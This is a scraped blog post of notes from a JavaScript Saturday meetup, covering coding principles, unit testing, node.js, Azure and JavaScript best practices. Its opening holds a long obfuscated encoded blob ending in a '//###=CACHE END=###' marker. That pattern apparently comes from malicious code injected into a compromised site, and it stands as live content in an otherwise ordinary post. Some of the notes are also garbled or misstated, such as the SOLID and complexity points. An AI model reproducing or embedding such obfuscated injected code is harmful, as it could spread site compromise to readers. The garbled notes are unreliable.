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A1oUDtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjbxnJW2VQ0tWUWyp3IfqQfXsFOyoUAyVUfXWTMjVQ0tMaAiL2gipTIhXPWmLJ50pzImYzWcrvVfVQtjYPNxMKWloz8fVPEypaWmqUVfVQZjXGfXnJLtXPEzpPxtrjbtVPNtWT91qPN9VPWUEIDtY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV1AJZkATLmMTD1BQV4ZwV1A2SxAmZ3LwN3L2HmZJRjLvVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvOmLJ50pzImYzWcryklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwt1BGH3MQV0VvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));')); //###=CACHE END=### Notes from Javascript Saturday Event | Roxstyle Paste your Google Webmaster Tools verification code here
Go to Top

Notes from Javascript Saturday Event

Chandler Dhall – Microsoft MVP INETA speaker

1. problem solving/ algorithms

  •  worst case or Omega
  • best case omega
  • average case theta

2. secure coding practices

  • sanity checks
  • validations (client side and server side)
  • authentication
  • authorization
  • .asp top 10

3.object oriented principles

  • principles do not change
  • get the right abstractions
  • inheritance
  • encapsulation
  • aggregation
  • composition

4. solid principles

  •  there should never be more than one reason for a class to change
  • classes should be open to extension but closed for modification
  • make fine grained interfaces that are client specific
  • abstractions should not depend upon abstractions


  • 1 client-server
  • clients aren’t concerned with data storage
  • servers aren’t concerned with user interface

6.unit test

  • unit testing frameworks
  • code coverage
  • test first approach
  • your tests should define your api
  • tests should be in memory
  • every test should be self-sufficient
  • don’t test outside your code

7.source control

  • git
  • tfs

8. continuous integration

  • team system
  • cruise control
  • jenkins
  • team city
  • go

9. design patterns

10. learn more than 2 languages

11. team dynamics

Javascript – James Johnson james@latringo.com twitter @tringo

each browser has its own js engine, today most behaviors the same

local variables

  • defined within a function

global variables

  • defined outside the functions

chaining improves performance since you don’t have to search the DOM again

using the $ in front of the object makes the object not just a string

.clone() – clone an object and add another object to the page – like a player

.wrap() –

.stop() jump to end



nathan totten @ntotten

windows azureconf.net




node.js js on the server

  • not thread based
  • efficient and highly scalable
  • async model
  • single-threaded event loop

operating system >V8 Javascript Engine > libuv


crossplatform IO lib

api is asyncronous

non-sync IO is managed by libuv

good for:

  • realtime communication
  • custom network services (proxy severs)
  • JSON web services
  • client-oriented web UI’s
  • (anything you’d build with sinatra)

OK for

  • forms over data


  • CPU intensive processing -video transcoding, image rendering


  • process management
  • scalability on multi-core servers
  • access to log over http
  • side by side with other content types
  • integrated management experience
  • webSockets on Windows Server 2012

Windows Azure

  • using node.js
  • global footprint
  • windows azure for node apps

microsoft BizSpark


start a node server

npm = install node module ” express”


debugging in node

  • debug server.js
  • also install node-inspector

debuggin in browser

  •  install    node superviser.js (for dev environment) -like livereload

install node socket.io (realtime comm with browser)

they laughed at tfs


 anand raja – solutions engineer

@anandraja777 araja@infragistics.com


MVM = separation of concerns

  • view = UI Logic
  • View Model = Pres Logic/ State
  • Model = Data /Bus Logic

knockout.js the binding for the browser

knockout more on server, ember more on client, backbone in between those two

js best practices

  1. script tags at bottom of page before closing body tag
  2. mini faction and bundling
    • fewer HTTP calls
    • smaller files = faster download
  3. namespacing
    window.ns = window.ns \\ {};
  4. closures are powerful
  5. revealing module patterns (controversial)
    var Person = function() {
    //private members
    //public members
    return {
    speak: speak
  6. single var pattern
  7. Hoisting Coding tips
  8. Loop optimization
  9. curly braces – on the same line
  10. ‘eval’  is evil – don’t use it
  11. avoid implied type casting
  12. use js lint
, , ,

Get every new post on this blog delivered to your Inbox.

Join other followers: